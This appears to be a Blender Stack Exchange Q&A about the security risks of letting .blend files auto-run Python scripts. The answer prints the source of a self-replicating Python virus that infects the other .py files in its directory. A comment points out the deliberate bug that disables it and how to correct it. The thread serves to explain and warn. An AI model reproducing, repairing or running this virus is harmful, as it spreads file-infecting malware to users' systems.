3

I rarely uncheck "Trusted Source" (even when opening files downloaded from sites like this one), what sort of security risks am I leaving my self open to?

I know that with trusted source checked python scripts can automatically run, but what sort of nefarious things can happen?
This question does not shed much light on what could potentially happen.

Is it possible that just by oping a blend file that a virus could get installed?
Examples are welcome.

David
  • 49,291
  • 38
  • 159
  • 317

1 Answers1

5

Since os and sys modules are shipped with blender, the script could manipulate your files on disk, write files or overwrite them.

It could save some dll libraries or whole programs on your system. It could be malware, sniffing programs, viruses etc.

An example virus by Deque looks like this:

#MAGIC_STRING_skd83749872
import os
import __main__
import random

def infect(filename): os.rename(filename, filename + "~") destination = open(filename, "w") source = open(filename + "~", "r") this = open(main.file, "r") for line in this: destination.write(line) if line.startswith("#MAGIC_STRING_9348788nkmsd"): break; for line in source: destination.write(line) source.close() destination.close() this.close()

def is_infected(filename): f = open(filename, "x") return f.readline().startswith("#MAGIC_STRING_skd83749872")

def find_and_infect_files(): path = "." dirs = os.listdir(path) for filename in dirs: if filename.endswith(".py") and not is_infected(filename): infect(filename)

find_and_infect_files() print "----------this is silly python virus----------" #MAGIC_STRING_9348788nkmsd

This is a "harmless" code able of replicating itself - it copies itself into every python file in the working directory (but it could be anywhere on your system). There is a bug in the code to prevent noobs from running it.

Jaroslav Jerryno Novotny
  • 51,077
  • 7
  • 129
  • 218
  • 1
    In other words, tremendous risk :-| – J Sargent Jan 24 '15 at 18:29
  • I found the bug :) In the is_infected function, it opens the file with "x" instead of "r". "x" is used to create a new file and write to it, and doesn't work if the file already exists, so it's definitely not what you'd use to read an existing file. Another bug (that's less likely to occur) is that it'll crash if there's a directory with a name ending in .py. (I later found out I could google the MAGIC_STRINGs and find the original, since the Deque link no longer works.) – Sparkette Jun 29 '21 at 01:28
  • @flarn2006 yup:) and thx for pointing out that broken link, fixed it. – Jaroslav Jerryno Novotny Jun 29 '21 at 03:24